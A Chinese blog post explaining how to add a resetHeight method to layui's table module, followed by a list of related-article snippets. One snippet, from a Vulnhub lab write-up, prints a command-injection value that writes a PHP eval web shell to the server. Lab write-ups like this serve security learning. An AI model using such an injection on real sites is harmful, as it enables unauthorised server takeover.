layui table 重新设置表格的高度

在layui的table模块中,如果使用table.render({})渲染了一个表格实例时,确定了height配置,后续用table.resize(id)方法重置表格尺寸时,表格的高度是不会变化的(如果我的理解没有错的话)。

有时我们希望根据页面元素的变化,调整表格的高度,但不希望重新渲染一个新的表格,也不希望直接操作DOM元素的高度(代码会比较臃肿)。

所以我增加了一个调整高度的方法,使用了table模块会自动调整高度。

事先声明:我的项目中的layui是模块化的,并非构建后的layui.js,所以是在table.js增加了方法代码。如果你使用的是构建后的layui.js,需要自己去定位方法应该处于js的哪个位置。

以下是添加方法的过程:

(1)在table.js中,搜索“table.resize = function(id)”,找到resize方法的位置。

(2)以下是代码源码,可以添加到上图的位置,与resize方法平行

// 重置设置表格的高度配置table.resetHeight = function(id,height){// 若指定表格唯一 id,则只执行该 id 对应的表格实例if(id){var config = getThisTableConfig(id); // 获取当前实例配置项if(!config) return;//如果带有计算符号,则将高度计算得到结果(目前只支持+-)if(/^[+-]\d+$/.test(height)) {// 提取操作符号和数字  const sign = height.charAt(0); // 获取第一个字符作为符号  const number = parseInt(height.slice(1), 10); // 从第二个字符开始到字符串结束,转换为整数  // 根据符号更新高度值  if (sign === '+') {config.height += number;} else if (sign === '-') {config.height -= number;}}else {//如果是具体的值,则直接赋值config.height = height;}getThisTable(id).resize();}};

(3)在使用的时候,只需要调用table.resetHeight(yourTableId,newHeight)即可。

有两种使用方法:

1、table.resetHeight(yourTableId,300)

2、table.resetHeight(yourTableId,"+20")或table.resetHeight(yourTableId,"-20")

第一种方法是指定一个具体高度。

第二种方法则是在原高度的基础上的变化值,如增加20像素,或者减去20像素。我只添加了“加减”两种情况,如果需要其他计算方式,也可以自行拓展方法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/388488.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

k8s核心知识总结

写在前面 时间一下子到了7月份尾;整个7月份都乱糟糟的,不管怎么样,日子还是得过啊, 1、7月份核心了解个关于k8s,iceberg等相关技术,了解了相关的基础逻辑,虽然和数开主线有点偏,但是…

传统自然语言处理(NLP)与大规模语言模型(LLM)详解

自然语言处理(NLP)和大规模语言模型(LLM)是理解和生成人类语言的两种主要方法。本文将介绍传统NLP和LLM的介绍、运行步骤以及它们之间的比较,帮助新手了解这两个领域的基础知识。 传统自然语言处理(NLP&…

OpenEuler安装部署教程

目录 OpenEuler安装部署教程 MobaXterm一款全能的远程工具 yum安装软件 vim编辑器(了解) 防火墙 常用命令 网络工具netstat & telnet 进程管理工具top ps 磁盘free、fdisk 用户、组(了解) 权限(了解&am…

君正T41开发板环境搭建_串口登陆_配置IP_telnet登陆_mount挂载_安装交叉编译工具链

目录 1 开发板外观 2 串口连接 3芯片内存情况 4 配置IP地址 5 telnet登陆 6 mount挂载目录 7 安装交叉编译工具链 1 开发板外观 2 串口连接 我直接用MobaXterm连接,虽然我还没有文档,但是我觉得波特率大概率就是115200,试了下确实可以…

webstorm配置项目Typescript编译环境

使用npm命令安装typeScript编译器 npm install typescript -g 安装好,在命令行可以查看编译器的版本 tsc --version 用Webstorm打开一个Typescript的项目。为TypeScript文件更改编译设置,File->Settings->toosl -> File Watchers->TypeScri…

Python爬虫入门01:在Chrome浏览器轻松抓包

文章目录 爬虫基本概念爬虫定义爬虫工作原理爬虫流程爬虫类型爬虫面临的挑战 使用Chrome浏览器抓包查看网页HTML代码查看HTTP请求请求头(Request Header)服务器响应抓包的意义 爬虫基本概念 爬虫定义 爬虫(Web Crawler 或 Spider&#xff0…

Vulnhub靶机-Jangow 1.0.1

Vulnhub靶机-Jangow 1.0.1 修改为NAT模式 ?buscarecho <?php eval($_POST[cmd])?> >shell.php后面试了试很多网上的方法反弹shell但都不行

只用一个 HTML 元素可以写出多少形状?——平行四边形篇

您有没有想过一个问题&#xff0c;如果我们只用一个 div 元素&#xff0c;一共可以写出多少种形状呢&#xff1f; 暂停一下&#xff0c;思考三秒钟&#xff0c;默默记下自己的答案&#xff0c;看看自己想到的答案对不对。然后&#xff0c;我们就来一起盘点一下吧…… 今天的主…

java开发环境搭建基础之3----开发工具eclipse中Maven配置

一.背景 公司安排了带徒弟任务&#xff0c;写点基础的环境搭建这些吧。搭建基础开发环境&#xff0c;主要是jdk、eclipse、git、maven、mysql。后续再考虑编写jenkins、nexus、docker、1panel等CI/CD环境搭建。本次主要内容是eclipse中maven环境的配置。我的开发环境&#xff0…

React 学习——路由跳转(Link、useNavigate)、跳转时传递参数(问号传递、path中冒号拼接)

需要四个页面&#xff1a;项目入口index.js文件&#xff0c;router配置路由跳转文件&#xff0c;article组件页面&#xff0c;login组件页面 1、项目入口index.js文件 注意&#xff1a;要安装这个依赖 react-router-dom import React from react import { createRoot } fro…

TZDYM001矩阵系统源码 矩阵营销系统多平台多账号一站式管理

外面稀有的TZDYM001矩阵系统源码&#xff0c;矩阵营销系统多平台多账号一站式管理&#xff0c;一键发布作品。智能标题&#xff0c;关键词优化&#xff0c;排名查询&#xff0c;混剪生成原创视频&#xff0c;账号分组&#xff0c;意向客户自动采集&#xff0c;智能回复&#xf…

vue3使用递归组件渲染层级结构

先看看是不是你想要的&#xff1a; 当有层级去渲染的时候&#xff0c;嵌套的层级不明确&#xff0c;这时只能通过递归组件去渲染。 数据如下&#xff1a; 通过判断subCatalog这个字段的长度是否大于0来确定是否有下级。 上代码&#xff1a;(代码是使用uniapp开发的&#xff0…

简单洗牌算法

&#x1f389;欢迎大家收看&#xff0c;请多多支持&#x1f339; &#x1f970;关注小哇&#xff0c;和我一起成长&#x1f680;个人主页&#x1f680; ⭐目前主更 专栏Java ⭐数据结构 ⭐已更专栏有C语言、计算机网络⭐ 在学习了ArrayList之后&#xff0c;我们可以通过写一个洗…

iOS ------ 持久化

一&#xff0c;数据持久化的目的 1&#xff0c;快速展示&#xff0c;提升体验 已经加载过的数据&#xff0c;用户下次查看时&#xff0c;不需要再次从网络&#xff08;磁盘&#xff09;加载&#xff0c;直接展示给用户 2.节省用户流量 对于较大的资源数据进行缓存&#xff…

C++|设计模式(七)|⭐️观察者模式与发布/订阅模式,你分得清楚吗

本文内容来源于B站&#xff1a; 【「观察者模式」与「发布/订阅模式」&#xff0c;你分得清楚吗&#xff1f;】 文章目录 观察者模式&#xff08;Observer Pattern&#xff09;的代码优化观察者模式 与 发布订阅模式 他们是一样的吗&#xff1f;发布订阅模式总结 我们想象这样一…

批量下载 B 站 视频的工具 downkyi

批量下载 B 站 视频的工具 downkyi 亲测好用 图片&#xff1a; 下载地址&#xff1a; https://github.com/leiurayer/downkyi

MES系统在机床产业智能化的作用

MES系统&#xff08;Manufacturing Execution System&#xff0c;制造执行系统&#xff09;在机床产业智能化过程中发挥着至关重要的作用。以下是万界星空科技MES系统在机床产业智能化中的几个关键作用&#xff1a; 1. 实时数据采集与分析 数据采集&#xff1a;MES系统通过与生…

jenkins获取sonarqube质量门禁结果

前景 在使用 Jenkins 集成 SonarQube 时&#xff0c;获取质量门禁&#xff08;Quality Gate&#xff09;结果非常重要。SonarQube 的质量门禁是一种质量控制机制&#xff0c;用于评估代码质量是否符合预设的标准。以下是获取质量门禁结果的意义和作用&#xff1a; 评估代码质量…

navicat 17 安装

百度网盘 链接: https://pan.baidu.com/s/1nFFQzWhjxRUM_X6bVlWNGw?pwd8888 提取码: 8888 1.双击运行安装包 2.点击下一步 2.勾选我同意&#xff0c;点击下一步 3.自定义安装路径&#xff0c;点击下一步 4.注意勾选桌面快捷方式&#xff0c;点击下一步 5.点击安装 6.点击完…